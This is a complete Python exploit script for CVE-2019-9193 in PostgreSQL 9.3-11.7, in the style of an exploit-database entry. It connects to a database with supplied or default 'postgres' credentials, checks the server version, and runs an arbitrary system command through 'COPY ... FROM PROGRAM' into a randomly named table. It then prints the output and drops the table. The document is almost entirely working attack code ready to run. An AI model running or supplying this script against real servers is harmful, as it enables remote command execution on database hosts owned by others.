# Exploit Title: PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-03-29 # Exploit Author: b4keSn4ke # Github: https://github.com/b4keSn4ke # Vendor Homepage: https://www.postgresql.org/ # Software Link: https://www.postgresql.org/download/linux/debian/ # Version: 9.3 - 11.7 # Tested on: Linux x86-64 - Debian 4.19 # CVE: CVE-2019–9193 #!/usr/bin/python3 import psycopg2 import argparse import hashlib import time def parseArgs(): parser = argparse.ArgumentParser(description='CVE-2019–9193 - PostgreSQL 9.3-11.7 Authenticated Remote Code Execution') parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]') parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]') parser.add_argument('-d', '--database', nargs='?', default='template1', help='Name of the PostgreSQL DB [Default: template1]') parser.add_argument('-c', '--command', nargs='?', help='System command to run') parser.add_argument('-t', '--timeout', nargs='?', type=int, default=10, help='Connection timeout in seconds [Default: 10 (seconds)]') parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to use to connect to the PostgreSQL DB [Default: postgres]') parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to use to connect to the the PostgreSQL DB [Default: postgres]') args = parser.parse_args() return args def main(): try: print ("\r\n[+] Connecting to PostgreSQL Database on {0}:{1}".format(args.ip, args.port)) connection = psycopg2.connect ( database=args.database, user=args.user, password=args.password, host=args.ip, port=args.port, connect_timeout=args.timeout ) print ("[+] Connection to Database established") print ("[+] Checking PostgreSQL version") checkVersion(connection) if(args.command): exploit(connection) else: print ("[+] Add the argument -c [COMMAND] to execute a system command") except psycopg2.OperationalError as e: print ("\r\n[-] Connection to Database failed: \r\n{0}".format(e)) exit() def checkVersion(connection): cursor = connection.cursor() cursor.execute("SELECT version()") record = cursor.fetchall() cursor.close() result = deserialize(record) version = float(result[(result.find("PostgreSQL")+11):(result.find("PostgreSQL")+11)+4]) if (version >= 9.3 and version <= 11.7): print("[+] PostgreSQL {0} is likely vulnerable".format(version)) else: print("[-] PostgreSQL {0} is not vulnerable".format(version)) exit() def deserialize(record): result = "" for rec in record: result += rec[0]+"\r\n" return result def randomizeTableName(): return ("_" + hashlib.md5(time.ctime().encode('utf-8')).hexdigest()) def exploit(connection): cursor = connection.cursor() tableName = randomizeTableName() try: print ("[+] Creating table {0}".format(tableName)) cursor.execute("DROP TABLE IF EXISTS {1};\ CREATE TABLE {1}(cmd_output text);\ COPY {1} FROM PROGRAM '{0}';\ SELECT * FROM {1};".format(args.command,tableName)) print ("[+] Command executed\r\n") record = cursor.fetchall() result = deserialize(record) print(result) print ("[+] Deleting table {0}\r\n".format(tableName)) cursor.execute("DROP TABLE {0};".format(tableName)) cursor.close() except psycopg2.errors.ExternalRoutineException as e: print ("[-] Command failed : {0}".format(e.pgerror)) print ("[+] Deleting table {0}\r\n".format(tableName)) cursor = connection.cursor() cursor.execute("DROP TABLE {0};".format(tableName)) cursor.close() finally: exit() if __name__ == "__main__": args = parseArgs() main()